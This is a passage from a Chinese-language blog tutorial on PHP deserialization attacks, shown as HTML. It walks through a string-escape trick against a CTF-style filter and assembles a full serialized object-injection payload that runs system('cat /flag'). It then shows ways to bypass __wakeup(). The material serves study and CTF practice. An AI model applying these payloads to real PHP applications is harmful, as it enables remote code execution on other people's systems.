style=\"color:#a65e2b;--shiki-dark:#d4976c\">(</span><span style=\"color:#999999;--shiki-dark:#666666\">$</span><span style=\"color:#B07D48;--shiki-dark:#BD976A\">unserialized</span><span style=\"color:#AB5959;--shiki-dark:#CB7676\">-</span><span style=\"color:#AB5959;--shiki-dark:#CB7676\">></span><span style=\"color:#B07D48;--shiki-dark:#BD976A\">username</span><span style=\"color:#a65e2b;--shiki-dark:#d4976c\">)</span><span style=\"color:#999999;--shiki-dark:#666666\">;</span></span>\n<span class=\"line\"><span style=\"color:#999999;--shiki-dark:#666666\">    </span><span style=\"color:#1e754f;--shiki-dark:#4d9375\">&#125;</span></span>\n<span class=\"line\"><span style=\"color:#2993a3;--shiki-dark:#5eaab5\">&#125;</span><span style=\"color:#A0ADA0;--shiki-dark:#758575DD\">  //判断反序列化之后的对象是否属于UserProfile类</span></span>\n<span class=\"line\"></span>\n<span class=\"line\"><span style=\"color:#A65E2B;--shiki-dark:#C99076\">这里需要注意的是如果我们的反序列化字符串无法构成一个对象的话，会导致结构崩溃，也就是说我们的RCE无法执行，那么我们需要在插入我们期望的payload的同时保证UserProfile结构的完整</span></span></code></pre>\n<p>假设我传入user=1&amp;bio=1，那么<span class=\"katex\"><span class=\"katex-mathml\"><math xmlns=\"http://www.w3.org/1998/Math/MathML\"><semantics><mrow><mi>d</mi><mi>a</mi><mi>t</mi><mi>a</mi><mtext>和</mtext></mrow><annotation encoding=\"application/x-tex\">data和</annotation></semantics></math></span><span class=\"katex-html\" aria-hidden=\"true\"><span class=\"base\"><span class=\"strut\" style=\"height:0.6944em;\"></span><span class=\"mord mathnormal\">d</span><span class=\"mord mathnormal\">a</span><span class=\"mord mathnormal\">t</span><span class=\"mord mathnormal\">a</span><span class=\"mord cjk_fallback\">和</span></span></span></span>safe_data结果分别为：</p>\n<pre class=\"shiki shiki-themes vitesse-light vitesse-dark\" style=\"background-color:#ffffff;--shiki-dark-bg:#121212;color:#393a34;--shiki-dark:#dbd7caee\" tabindex=\"0\"><code class=\"language-text\"><span class=\"line\"><span>O:11:\"UserProfile\":3:&#123;s:8:\"username\";s:1:\"1\";s:3:\"bio\";s:1:\"1\";s:10:\"preference\";O:13:\"DateFormatter\":0:&#123;&#125;&#125;</span></span>\n<span class=\"line\"><span></span></span>\n<span class=\"line\"><span></span></span>\n<span class=\"line\"><span>O:11:\"UserProfile\":3:&#123;s:8:\"username\";s:1:\"1\";s:3:\"bio\";s:1:\"1\";s:10:\"preference\";O:13:\"DateFormatter\":0:&#123;&#125;&#125;</span></span></code></pre>\n<p>但如果我把user的值换为hacker，会造成以下结果</p>\n<pre class=\"shiki shiki-themes vitesse-light vitesse-dark\" style=\"background-color:#ffffff;--shiki-dark-bg:#121212;color:#393a34;--shiki-dark:#dbd7caee\" tabindex=\"0\"><code class=\"language-text\"><span class=\"line\"><span>O:11:\"UserProfile\":3:&#123;s:8:\"username\";s:6:\"hacker\";s:3:\"bio\";s:1:\"1\";s:10:\"preference\";O:13:\"DateFormatter\":0:&#123;&#125;&#125;</span></span>\n<span class=\"line\"><span></span></span>\n<span class=\"line\"><span>O:11:\"UserProfile\":3:&#123;s:8:\"username\";s:6:\"\";s:3:\"bio\";s:1:\"1\";s:10:\"preference\";O:13:\"DateFormatter\":0:&#123;&#125;&#125;</span></span></code></pre>\n<p>我们注意到$safe_data中有一串变成了</p>\n<pre class=\"shiki shiki-themes vitesse-light vitesse-dark\" style=\"background-color:#ffffff;--shiki-dark-bg:#121212;color:#393a34;--shiki-dark:#dbd7caee\" tabindex=\"0\"><code class=\"language-text\"><span class=\"line\"><span>s:6:\"\";</span></span></code></pre>\n<p>那么这里就涉及到字符串逃逸的知识了，我们可以在保留UserProfile结构完整性的同时插入我们期望执行的payload，所以我们需要逃逸的部分字符串为：</p>\n<pre class=\"shiki shiki-themes vitesse-light vitesse-dark\" style=\"background-color:#ffffff;--shiki-dark-bg:#121212;color:#393a34;--shiki-dark:#dbd7caee\" tabindex=\"0\"><code class=\"language-text\"><span class=\"line\"><span>\";s:3:\"bio\";s:1xx:</span></span></code></pre>\n<p>考虑到我们的bio内容为我们的期望payload，那么长度经过计数是三位数，所以我们需要逃逸的字符串长度为</p>\n<p>18，刚好是三个hacker的长度，而本来作为展示值的&quot;内容变成了s:6&quot;的闭合符，那么实际上我们的序列化字符串就变成了：</p>\n<pre class=\"shiki shiki-themes vitesse-light vitesse-dark\" style=\"background-color:#ffffff;--shiki-dark-bg:#121212;color:#393a34;--shiki-dark:#dbd7caee\" tabindex=\"0\"><code class=\"language-text\"><span class=\"line\"><span>O:11:\"UserProfile\":3:&#123;s:8:\"username\";s:18:\"xxxxxxxxxxxxxxxxxx\"1\";s:10:\"preference\";O:13:\"DateFormatter\":0:&#123;&#125;&#125;</span></span></code></pre>\n<p>然后1作为我们可控内容自然就拼接进了这个序列化字符串里面，为了保证我们UserProfile的完整性，我们需要加上如下内容：</p>\n<pre class=\"shiki shiki-themes vitesse-light vitesse-dark\" style=\"background-color:#ffffff;--shiki-dark-bg:#121212;color:#393a34;--shiki-dark:#dbd7caee\" tabindex=\"0\"><code class=\"language-text\"><span class=\"line\"><span>s:3:\"bio\";s:1:\"1\";s:10:\"preference\";</span></span></code></pre>\n<p><strong>记得在最前面加上;保证序列化字符串的结构，在最后面加上}</strong></p>\n<p>所以我们的bio内容为：</p>\n<pre class=\"shiki shiki-themes vitesse-light vitesse-dark\" style=\"background-color:#ffffff;--shiki-dark-bg:#121212;color:#393a34;--shiki-dark:#dbd7caee\" tabindex=\"0\"><code class=\"language-text\"><span class=\"line\"><span>;s:3:\"bio\";s:1:\"1\";s:10:\"preference\";O:10:\"LogService\":2:&#123;s:10:\"%00*%00handler\";O:10:\"FileStream\":3:&#123;s:16:\"%00FileStream%00path\";s:1:\"1\";s:16:\"%00FileStream%00mode\";s:5:\"debug\";s:7:\"content\";s:20:\"system('cat /flag');\";&#125;s:12:\"%00*%00formatter\";O:13:\"DateFormatter\":0:&#123;&#125;&#125;&#125;</span></span></code></pre>\n<p>由于属性的不同：</p>\n<pre class=\"shiki shiki-themes vitesse-light vitesse-dark\" style=\"background-color:#ffffff;--shiki-dark-bg:#121212;color:#393a34;--shiki-dark:#dbd7caee\" tabindex=\"0\"><code class=\"language-text\"><span class=\"line\"><span>Protected 属性 ($handler, $formatter)：格式是 \\0*\\0属性名。例如 *handler 序列化后长度是 10，内容是 %00*%00handler。</span></span>\n<span class=\"line\"><span></span></span>\n<span class=\"line\"><span>Private 属性 ($path, $mode)：格式是 \\0类名\\0属性名。例如 FileStream 的 $path 序列化后长度是 16，内容是 %00FileStream%00path。</span></span></code></pre>\n<p>而我们得到的是：</p>\n<pre class=\"shiki shiki-themes vitesse-light vitesse-dark\" style=\"background-color:#ffffff;--shiki-dark-bg:#121212;color:#393a34;--shiki-dark:#dbd7caee\" tabindex=\"0\"><code class=\"language-text\"><span class=\"line\"><span>O:10:\"LogService\":2:&#123;s:10:\"*handler\";O:10:\"FileStream\":3:&#123;s:16:\"FileStreampath\";N;s:16:\"FileStreammode\";N;s:7:\"content\";s:20:\"system('cat /flag');\";&#125;s:12:\"*formatter\";O:13:\"DateFormatter\":0:&#123;&#125;&#125;</span></span></code></pre>\n<p>所以需要修改内容：</p>\n<pre class=\"shiki shiki-themes vitesse-light vitesse-dark\" style=\"background-color:#ffffff;--shiki-dark-bg:#121212;color:#393a34;--shiki-dark:#dbd7caee\" tabindex=\"0\"><code class=\"language-text\"><span class=\"line\"><span>*handler    %00*%00handler</span></span>\n<span class=\"line\"><span>FileStreampath    %00FileStream%00path</span></span>\n<span class=\"line\"><span>FileStreammode    %00FileStream%00mode</span></span>\n<span class=\"line\"><span>*formatter    %00*%00formatter</span></span></code></pre>\n<p>综上所述：</p>\n<pre class=\"shiki shiki-themes vitesse-light vitesse-dark\" style=\"background-color:#ffffff;--shiki-dark-bg:#121212;color:#393a34;--shiki-dark:#dbd7caee\" tabindex=\"0\"><code class=\"language-text\"><span class=\"line\"><span>user=hackerhackerhacker&#x26;bio=;s:3:\"bio\";s:1:\"1\";s:10:\"preference\";O:10:\"LogService\":2:&#123;s:10:\"%00*%00handler\";O:10:\"FileStream\":3:&#123;s:16:\"%00FileStream%00path\";s:1:\"1\";s:16:\"%00FileStream%00mode\";s:5:\"debug\";s:7:\"content\";s:20:\"system('cat /flag');\";&#125;s:12:\"%00*%00formatter\";O:13:\"DateFormatter\":0:&#123;&#125;&#125;&#125;</span></span></code></pre>\n<p>那么字符串逃逸减少的重点就在于我们需要将原本的序列化字符串的后面部分内容给作为前一个属性的值，然后在后面构造我们想要反序列化的内容</p>\n<h2 id=\"绕过__wakeup\"><a class=\"anchor\" href=\"#绕过__wakeup\">#</a> 绕过__wakeup()</h2>\n<p>这里学习的是利用fast destruct来绕过</p>\n<p><img loading=\"lazy\" src=\"/2026/02/16/php%E5%8F%8D%E5%BA%8F%E5%88%97%E5%8C%96/fastdestruct.png\" class=\"\" title=\"fastdestruct\"></p>\n<h3 id=\"修改属性值绕过__wakeup\"><a class=\"anchor\" href=\"#修改属性值绕过__wakeup\">#</a> 修改属性值绕过__wakeup()</h3>\n<p>php5&gt;5.6.25  php7&lt;7.0.10</p>\n<pre class=\"shiki shiki-themes vitesse-light vitesse-dark\" style=\"background-color:#ffffff;--shiki-dark-bg:#121212;color:#393a34;--shiki-dark:#dbd7caee\" tabindex=\"0\"><code class=\"language-text\"><span class=\"line\"><span>如果存在__wakeup()方法，调用unserialize()方法之前会先调用__wakeup()方法，但是序列化字符串中表示对象属性个数的值大于真实属性个数时，就会跳过__wwakeup()的执行</span></span></code></pre>\n<p>在以下这串代码中：</p>\n<pre class=\"shiki shiki-themes vitesse-light vitesse-dark\" style=\"background-color:#ffffff;--shiki-dark-bg:#121212;color:#393a34;--shiki-dark:#dbd7caee\" tabindex=\"0\"><code class=\"language-php\"><span class=\"line\"><span style=\"color:#AB5959;--shiki-dark:#CB7676\">&#x3C;</span><span style=\"color:#AB5959;--shiki-dark:#CB7676\">?</span><span style=\"color:#A65E2B;--shiki-dark:#C99076\">php</span></span>\n<span class=\"line\"><span style=\"color:#998418;--shiki-dark:#B8A965\">highlight_file</span><span style=\"color:#2993a3;--shiki-dark:#5eaab5\">(</span><span style=\"color:#1E754F;--shiki-dark:#4D9375\">__FILE__</span><span style=\"color:#2993a3;--shiki-dark:#5eaab5\">)</span><span style=\"color:#999999;--shiki-dark:#666666\">;</span></span>\n<span class=\"line\"><span style=\"color:#AB5959;--shiki-dark:#CB7676\">class</span><span style=\"color:#2E8F82;--shiki-dark:#5DA994\"> ZLARYY</span><span style=\"color:#2993a3;--shiki-dark:#5eaab5\">&#123;</span></span>\n<span class=\"line\"><span style=\"color:#AB5959;--shiki-dark:#CB7676\">    public</span><span style=\"color:#999999;--shiki-dark:#666666\"> $</span><span style=\"color:#B07D48;--shiki-dark:#BD976A\">xiexie</span><span style=\"color:#999999;--shiki-dark:#666666\">;</span></span>\n<span class=\"line\"><span style=\"color:#AB5959;--shiki-dark:#CB7676\">    protected</span><span style=\"color:#999999;--shiki-dark:#666666\"> $</span><span style=\"color:#B07D48;--shiki-dark:#BD976A\">Chesmond</span><span style=\"color:#999999;--shiki-dark:#666666\">;</span></span>\n<span class=\"line\"><span style=\"color:#AB5959;--shiki-dark:#CB7676\">    private</span><span style=\"color:#999999;--shiki-dark:#666666\"> $</span><span style=\"color:#B07D48;--shiki-dark:#BD976A\">Arach</span><span style=\"color:#999999;--shiki-dark:#666666\">;</span></span>\n<span class=\"line\"></span>\n<span class=\"line\"><span style=\"color:#AB5959;--shiki-dark:#CB7676\">    function</span><span style=\"color:#998418;--shiki-dark:#B8A965\"> __destruct</span><span style=\"color:#1e754f;--shiki-dark:#4d9375\">(</span><span style=\"color:#1e754f;--shiki-dark:#4d9375\">)</span><span style=\"color:#1e754f;--shiki-dark:#4d9375\">&#123;</span></span>\n<span class=\"line\"><span style=\"color:#998418;--shiki-dark:#B8A965\">        echo</span><span style=\"color:#B5695977;--shiki-dark:#C98A7D77\"> \"</span><span style=\"color:#B56959;--shiki-dark:#C98A7D\">ZLARYY!!!</span><span style=\"color:#B5695977;--shiki-dark:#C98A7D77\">\"</span><span style=\"color:#999999;--shiki-dark:#666666\">;</span></span>\n<span class=\"line\"><span style=\"color:#999999;--shiki-dark:#666666\">    </span><span style=\"color:#1e754f;--shiki-dark:#4d9375\">&#125;</span></span>\n<span class=\"line\"><span style=\"color:#AB5959;--shiki-dark:#CB7676\">    function</span><span style=\"color:#998418;--shiki-dark:#B8A965\">  __wakeup</span><span style=\"color:#1e754f;--shiki-dark:#4d9375\">(</span><span style=\"color:#1e754f;--shiki-dark:#4d9375\">)</span><span style=\"color:#1e754f;--shiki-dark:#4d9375\">&#123;</span></span>\n<span class=\"line\"><span style=\"color:#998418;--shiki-dark:#B8A965\">        echo</span><span style=\"color:#999999;--shiki-dark:#666666\"> $</span><span style=\"color:#A65E2B;--shiki-dark:#C99076\">this</span><span style=\"color:#AB5959;--shiki-dark:#CB7676\">-</span><span style=\"color:#AB5959;--shiki-dark:#CB7676\">></span><span style=\"color:#B07D48;--shiki-dark:#BD976A\">Chesmond</span><span style=\"color:#999999;--shiki-dark:#666666\"> =</span><span style=\"color:#B5695977;--shiki-dark:#C98A7D77\"> \"</span><span style=\"color:#B56959;--shiki-dark:#C98A7D\">You Lose!</span><span style=\"color:#B5695977;--shiki-dark:#C98A7D77\">\"</span><span style=\"color:#999999;--shiki-dark:#666666\">;</span></span>\n<span class=\"line\"><span style=\"color:#999999;--shiki-dark:#666666\">    </span><span style=\"color:#1e754f;--shiki-dark:#4d9375\">&#125;</span></span>\n<span class=\"line\"><span style=\"color:#2993a3;--shiki-dark:#5eaab5\">&#125;</span></span>\n<span class=\"line\"><span style=\"color:#999999;--shiki-dark:#666666\">$</span><span style=\"color:#B07D48;--shiki-dark:#BD976A\">a</span><span style=\"color:#999999;--shiki-dark:#666666\">=</span><span style=\"color:#1E754F;--shiki-dark:#4D9375\">new</span><span style=\"color:#998418;--shiki-dark:#B8A965\"> ZLARYY</span><span style=\"color:#2993a3;--shiki-dark:#5eaab5\">(</span><span style=\"color:#2993a3;--shiki-dark:#5eaab5\">)</span><span style=\"color:#999999;--shiki-dark:#666666\">;</span></span>\n<span class=\"line\"><span style=\"color:#999999;--shiki-dark:#666666\">$</span><span style=\"color:#B07D48;--shiki-dark:#BD976A\">b</span><span style=\"color:#999999;--shiki-dark:#666666\">=</span><span style=\"color:#998418;--shiki-dark:#B8A965\">unserialize</span><span style=\"color:#2993a3;--shiki-dark:#5eaab5\">(</span><span style=\"color:#998418;--shiki-dark:#B8A965\">serialize</span><span style=\"color:#1e754f;--shiki-dark:#4d9375\">(</span><span style=\"color:#999999;--shiki-dark:#666666\">$</span><span style=\"color:#B07D48;--shiki-dark:#BD976A\">a</span><span style=\"color:#1e754f;--shiki-dark:#4d9375\">)</span><span style=\"color:#2993a3;--shiki-dark:#5eaab5\">)</span><span style=\"color:#999999;--shiki-dark:#666666\">;</span></span></code></pre>\n<p>这样会正常触发__wakeup()方法的内容</p>\n<p><img loading=\"lazy\" src=\"/2026/02/16/php%E5%8F%8D%E5%BA%8F%E5%88%97%E5%8C%96/wakeup2.png\" class=\"\" title=\"wakeup2\"></p>\n<p>我们输出序列化字符串看到的是：</p>\n<pre class=\"shiki shiki-themes vitesse-light vitesse-dark\" style=\"background-color:#ffffff;--shiki-dark-bg:#121212;color:#393a34;--shiki-dark:#dbd7caee\" tabindex=\"0\"><code class=\"language-text\"><span class=\"line\"><span>O:6:\"ZLARYY\":3:&#123;s:6:\"xiexie\";N;s:11:\"*Chesmond\";N;s:13:\"ZLARYYArach\";N;&#125;</span></span></code></pre>\n<p>如果我们把这串序列化字符串属性值修改为4，那么看看还会不会触发__wakeup()</p>\n<pre class=\"shiki shiki-themes vitesse-light vitesse-dark\" style=\"background-color:#ffffff;--shiki-dark-bg:#121212;color:#393a34;--shiki-dark:#dbd7caee\" tabindex=\"0\"><code class=\"language-php\"><span class=\"line\"><span style=\"color:#AB5959;--shiki-dark:#CB7676\">&#x3C;</span><span style=\"color:#AB5959;--shiki-dark:#CB7676\">?</span><span style=\"color:#A65E2B;--shiki-dark:#C99076\">php</span></span>\n<span class=\"line\"><span style=\"color:#998418;--shiki-dark:#B8A965\">highlight_file</span><span style=\"color:#2993a3;--shiki-dark:#5eaab5\">(</span><span style=\"color:#1E754F;--shiki-dark:#4D9375\">__FILE__</span><span style=\"color:#2993a3;--shiki-dark:#5eaab5\">)</span><span style=\"color:#999999;--shiki-dark:#666666\">;</span></span>\n<span class=\"line\"><span style=\"color:#AB5959;--shiki-dark:#CB7676\">class</span><span style=\"color:#2E8F82;--shiki-dark:#5DA994\"> ZLARYY</span><span style=\"color:#2993a3;--shiki-dark:#5eaab5\">&#123;</span></span>\n<span class=\"line\"><span style=\"color:#AB5959;--shiki-dark:#CB7676\">    public</span><span style=\"color:#999999;--shiki-dark:#666666\"> $</span><span style=\"color:#B07D48;--shiki-dark:#BD976A\">xiexie</span><span style=\"color:#999999;--shiki-dark:#666666\">;</span></span>\n<span class=\"line\"><span style=\"color:#AB5959;--shiki-dark:#CB7676\">    protected</span><span style=\"color:#999999;--shiki-dark:#666666\"> $</span><span style=\"color:#B07D48;--shiki-dark:#BD976A\">Chesmond</span><span style=\"color:#999999;--shiki-dark:#666666\">;</span></span>\n<span class=\"line\"><span style=\"color:#AB5959;--shiki-dark:#CB7676\">    private</span><span style=\"color:#999999;--shiki-dark:#666666\"> $</span><span style=\"color:#B07D48;--shiki-dark:#BD976A\">Arach</span><span style=\"color:#999999;--shiki-dark:#666666\">;</span></span>\n<span class=\"line\"></span>\n<span class=\"line\"><span style=\"color:#AB5959;--shiki-dark:#CB7676\">    function</span><span style=\"color:#998418;--shiki-dark:#B8A965\"> __destruct</span><span style=\"color:#1e754f;--shiki-dark:#4d9375\">(</span><span style=\"color:#1e754f;--shiki-dark:#4d9375\">)</span><span style=\"color:#1e754f;--shiki-dark:#4d9375\">&#123;</span></span>\n<span class=\"line\"><span style=\"color:#998418;--shiki-dark:#B8A965\">        echo</span><span style=\"color:#B5695977;--shiki-dark:#C98A7D77\"> \"</span><span style=\"color:#B56959;--shiki-dark:#C98A7D\">ZLARYY!!!</span><span style=\"color:#B5695977;--shiki-dark:#C98A7D77\">\"</span><span style=\"color:#999999;--shiki-dark:#666666\">;</span></span>\n<span class=\"line\"><span style=\"color:#999999;--shiki-dark:#666666\">    </span><span style=\"color:#1e754f;--shiki-dark:#4d9375\">&#125;</span></span>\n<span class=\"line\"><span style=\"color:#AB5959;--shiki-dark:#CB7676\">    function</span><span style=\"color:#998418;--shiki-dark:#B8A965\">  __wakeup</span><span style=\"color:#1e754f;--shiki-dark:#4d9375\">(</span><span style=\"color:#1e754f;--shiki-dark:#4d9375\">)</span><span style=\"color:#1e754f;--shiki-dark:#4d9375\">&#123;</span></span>\n<span class=\"line\"><span style=\"color:#998418;--shiki-dark:#B8A965\">        echo</span><span style=\"color:#999999;--shiki-dark:#666666\"> $</span><span style=\"color:#A65E2B;--shiki-dark:#C99076\">this</span><span style=\"color:#AB5959;--shiki-dark:#CB7676\">-</span><span style=\"color:#AB5959;--shiki-dark:#CB7676\">></span><span style=\"color:#B07D48;--shiki-dark:#BD976A\">Chesmond</span><span style=\"color:#999999;--shiki-dark:#666666\"> =</span><span style=\"color:#B5695977;--shiki-dark:#C98A7D77\"> \"</span><span style=\"color:#B56959;--shiki-dark:#C98A7D\">You Lose!</span><span style=\"color:#B5695977;--shiki-dark:#C98A7D77\">\"</span><span style=\"color:#999999;--shiki-dark:#666666\">;</span></span>\n<span class=\"line\"><span style=\"color:#999999;--shiki-dark:#666666\">    </span><span style=\"color:#1e754f;--shiki-dark:#4d9375\">&#125;</span></span>\n<span class=\"line\"><span style=\"color:#2993a3;--shiki-dark:#5eaab5\">&#125;</span></span>\n<span class=\"line\"><span style=\"color:#999999;--shiki-dark:#666666\">$</span><span style=\"color:#B07D48;--shiki-dark:#BD976A\">a</span><span style=\"color:#999999;--shiki-dark:#666666\">=</span><span style=\"color:#1E754F;--shiki-dark:#4D9375\">new</span><span style=\"color:#998418;--shiki-dark:#B8A965\"> ZLARYY</span><span style=\"color:#2993a3;--shiki-dark:#5eaab5\">(</span><span style=\"color:#2993a3;--shiki-dark:#5eaab5\">)</span><span style=\"color:#999999;--shiki-dark:#666666\">;</span></span>\n<span class=\"line\"><span style=\"color:#999999;--shiki-dark:#666666\">$</span><span style=\"color:#B07D48;--shiki-dark:#BD976A\">b</span><span style=\"color:#999999;--shiki-dark:#666666\"> =</span><span style=\"color:#998418;--shiki-dark:#B8A965\"> unserialize</span><span style=\"color:#2993a3;--shiki-dark:#5eaab5\">(</span><span style=\"color:#B5695977;--shiki-dark:#C98A7D77\">'</span><span style=\"color:#B56959;--shiki-dark:#C98A7D\">O:6:\"ZLARYY\":4:&#123;s:6:\"xiexie\";N;s:11:\"*Chesmond\";N;s:13:\"ZLARYYArach\";N;&#125;</span><span style=\"color:#B5695977;--shiki-dark:#C98A7D77\">'</span><span style=\"color:#2993a3;--shiki-dark:#5eaab5\">)</span><span style=\"color:#999999;--shiki-dark:#666666\">;</span></span></code></pre>\n<p><img loading=\"lazy\" src=\"/2026/02/16/php%E5%8F%8D%E5%BA%8F%E5%88%97%E5%8C%96/wakeup4.png\" class=\"\" title=\"wakeup4\"></p>\n<p>成功绕过了__wakeup()</p>\n<h3 id=\"破坏序列化字符串结构绕过__wakeup\"><a class=\"anchor\" href=\"#破坏序列化字符串结构绕过__wakeup\">#</a> 破坏序列化字符串结构绕过__wakeup()</h3>\n<p>如下代码：</p>\n<pre class=\"shiki shiki-themes vitesse-light vitesse-dark\" style=\"background-color:#ffffff;--shiki-dark-bg:#121212;color:#393a34;--shiki-dark:#dbd7caee\" tabindex=\"0\"><code class=\"language-php\"><span class=\"line\"><span style=\"color:#AB5959;--shiki-dark:#CB7676\">&#x3C;</span><span style=\"color:#AB5959;--shiki-dark:#CB7676\">?</span><span style=\"color:#A65E2B;--shiki-dark:#C99076\">php</span></span>\n<span class=\"line\"><span style=\"color:#998418;--shiki-dark:#B8A965\">highlight_file</span><span style=\"color:#2993a3;--shiki-dark:#5eaab5\">(</span><span style=\"color:#1E754F;--shiki-dark:#4D9375\">__FILE__</span><span style=\"color:#2993a3;--shiki-dark:#5eaab5\">)</span><span style=\"color:#999999;--shiki-dark:#666666\">;</span></span>\n<span class=\"line\"><span style=\"color:#AB5959;--shiki-dark:#CB7676\">class</span><span style=\"color:#2E8F82;--shiki-dark:#5DA994\"> ZLARYY</span><span style=\"color:#2993a3;--shiki-dark:#5eaab5\">&#123;</span></span>\n<span class=\"line\"><span style=\"color:#AB5959;--shiki-dark:#CB7676\">    public</span><span style=\"color:#999999;--shiki-dark:#666666\"> $</span><span style=\"color:#B07D48;--shiki-dark:#BD976A\">xiexie</span><span style=\"color:#999999;--shiki-dark:#666666\">;</span></span>\n<span class=\"line\"><span style=\"color:#AB5959;--shiki-dark:#CB7676\">    protected</span><span style=\"color:#999999;--shiki-dark:#666666\"> $</span><span style=\"color:#B07D48;--shiki-dark:#BD976A\">Chesmond</span><span style=\"color:#999999;--shiki-dark:#666666\">;</span></span>\n<span class=\"line\"><span style=\"color:#AB5959;--shiki-dark:#CB7676\">    private</span><span style=\"color:#999999;--shiki-dark:#666666\"> $</span><span style=\"color:#B07D48;--shiki-dark:#BD976A\">Arach</span><span style=\"color:#999999;--shiki-dark:#666666\">;</span></span>\n<span class=\"line\"></span>\n<span class=\"line\"><span style=\"color:#AB5959;--shiki-dark:#CB7676\">    function</span><span style=\"color:#998418;--shiki-dark:#B8A965\"> __destruct</span><span style=\"color:#1e754f;--shiki-dark:#4d9375\">(</span><span style=\"color:#1e754f;--shiki-dark:#4d9375\">)</span><span style=\"color:#1e754f;--shiki-dark:#4d9375\">&#123;</span></span>\n<span class=\"line\"><span style=\"color:#998418;--shiki-dark:#B8A965\">        echo</span><span style=\"color:#B5695977;--shiki-dark:#C98A7D77\"> \"</span><span style=\"color:#B56959;--shiki-dark:#C98A7D\">ZLARYY!!!</span><span style=\"color:#B5695977;--shiki-dark:#C98A7D77\">\"</span><span style=\"color:#999999;--shiki-dark:#666666\">;</span></span>\n<span class=\"line\"><span style=\"color:#999999;--shiki-dark:#666666\">    </span><span style=\"color:#1e754f;--shiki-dark:#4d9375\">&#125;</span></span>\n<span class=\"line\"><span style=\"color:#AB5959;--shiki-dark:#CB7676\">    function</span><span style=\"color:#998418;--shiki-dark:#B8A965\">  __wakeup</span><span style=\"color:#1e754f;--shiki-dark:#4d9375\">(</span><span style=\"color:#1e754f;--shiki-dark:#4d9375\">)</span><span style=\"color:#1e754f;--shiki-dark:#4d9375\">&#123;</span></span>\n<span class=\"line\"><span style=\"color:#998418;--shiki-dark:#B8A965\">        echo</span><span style=\"color:#999999;--shiki-dark:#666666\"> $</span><span style=\"color:#A65E2B;--shiki-dark:#C99076\">this</span><span style=\"color:#AB5959;--shiki-dark:#CB7676\">-</span><span style=\"color:#AB5959;--shiki-dark:#CB7676\">></span><span style=\"color:#B07D48;--shiki-dark:#BD976A\">Chesmond</span><span style=\"color:#999999;--shiki-dark:#666666\"> =</span><span style=\"color:#B5695977;--shiki-dark:#C98A7D77\"> \"</span><span style=\"color:#B56959;--shiki-dark:#C98A7D\">You Lose!</span><span style=\"color:#B5695977;--shiki-dark:#C98A7D77\">\"</span><span style=\"color:#999999;--shiki-dark:#666666\">;</span></span>\n<span class=\"line\"><span style=\"color:#999999;--shiki-dark:#666666\">    </span><span style=\"color:#1e754f;--shiki-dark:#4d9375\">&#125;</span></span>\n<span class=\"line\"><span style=\"color:#2993a3;--shiki-dark:#5eaab5\">&#125;</span></span>\n<span class=\"line\"><span style=\"color:#AB5959;--shiki-dark:#CB7676\">class</span><span style=\"color:#2E8F82;--shiki-dark:#5DA994\"> illy4</span><span style=\"color:#2993a3;--shiki-dark:#5eaab5\">&#123;</span></span>\n<span class=\"line\"><span style=\"color:#AB5959;--shiki-dark:#CB7676\">    public</span><span style=\"color:#999999;--shiki-dark:#666666\"> $</span><span style=\"color:#B07D48;--shiki-dark:#BD976A\">object</span><span style=\"color:#999999;--shiki-dark:#666666\">;</span></span>\n<span class=\"line\"><span style=\"color:#2993a3;--shiki-dark:#5eaab5\">&#125;</span></span>\n<span class=\"line\"><span style=\"color:#999999;--shiki-dark:#666666\">$</span><span style=\"color:#B07D48;--shiki-dark:#BD976A\">a</span><span style=\"color:#999999;--shiki-dark:#666666\">=</span><span style=\"color:#1E754F;--shiki-dark:#4D9375\">new</span><span style=\"color:#998418;--shiki-dark:#B8A965\"> ZLARYY</span><span style=\"color:#2993a3;--shiki-dark:#5eaab5\">(</span><span style=\"color:#2993a3;--shiki-dark:#5eaab5\">)</span><span style=\"color:#999999;--shiki-dark:#666666\">;</span></span>\n<span class=\"line\"><span style=\"color:#999999;--shiki-dark:#666666\">$</span><span style=\"color:#B07D48;--shiki-dark:#BD976A\">b</span><span style=\"color:#999999;--shiki-dark:#666666\"> =</span><span style=\"color:#1E754F;--shiki-dark:#4D9375\"> new</span><span style=\"color:#998418;--shiki-dark:#B8A965\"> illy4</span><span style=\"color:#2993a3;--shiki-dark:#5eaab5\">(</span><span style=\"color:#2993a3;--shiki-dark:#5eaab5\">)</span><span style=\"color:#999999;--shiki-dark:#666666\">;</span></span>\n<span class=\"line\"><span style=\"color:#999999;--shiki-dark:#666666\">$</span><span style=\"color:#B07D48;--shiki-dark:#BD976A\">b</span><span style=\"color:#AB5959;--shiki-dark:#CB7676\">-</span><span style=\"color:#AB5959;--shiki-dark:#CB7676\">></span><span style=\"color:#B07D48;--shiki-dark:#BD976A\">object</span><span style=\"color:#999999;--shiki-dark:#666666\"> =</span><span style=\"color:#999999;--shiki-dark:#666666\"> $</span><span style=\"color:#B07D48;--shiki-dark:#BD976A\">a</span><span style=\"color:#999999;--shiki-dark:#666666\">;</span></span>\n<span class=\"line\"><span style=\"color:#998418;--shiki-dark:#B8A965\">print_r</span><span style=\"color:#2993a3;--shiki-dark:#5eaab5\">(</span><span style=\"color:#998418;--shiki-dark:#B8A965\">serialize</span><span style=\"color:#1e754f;--shiki-dark:#4d9375\">(</span><span style=\"color:#999999;--shiki-dark:#666666\">$</span><span style=\"color:#B07D48;--shiki-dark:#BD976A\">b</span><span style=\"color:#1e754f;--shiki-dark:#4d9375\">)</span><span style=\"color:#2993a3;--shiki-dark:#5eaab5\">)</span><span style=\"color:#999999;--shiki-dark:#666666\">;</span></span></code></pre>\n<p>正常情况下这段代码输出序列化字符串内容为：</p>\n<pre class=\"shiki shiki-themes vitesse-light vitesse-dark\" style=\"background-color:#ffffff;--shiki-dark-bg:#121212;color:#393a34;--shiki-dark:#dbd7caee\" tabindex=\"0\"><code class=\"language-php\"><span class=\"line\"><span style=\"color:#59873A;--shiki-dark:#80A665\">O</span><span style=\"color:#393A34;--shiki-dark:#DBD7CAEE\">:</span><span style=\"color:#2F798A;--shiki-dark:#4C9A91\">5</span><span style=\"color:#999999;--shiki-dark:#666666\">:</span><span style=\"color:#B5695977;--shiki-dark:#C98A7D77\">\"</span><span style=\"color:#B56959;--shiki-dark:#C98A7D\">illy4</span><span style=\"color:#B5695977;--shiki-dark:#C98A7D77\">\"</span><span style=\"color:#999999;--shiki-dark:#666666\">:</span><span style=\"color:#2F798A;--shiki-dark:#4C9A91\">1</span><span style=\"color:#999999;--shiki-dark:#666666\">:</span><span style=\"color:#2993a3;--shiki-dark:#5eaab5\">&#123;</span><span style=\"color:#A65E2B;--shiki-dark:#C99076\">s</span><span 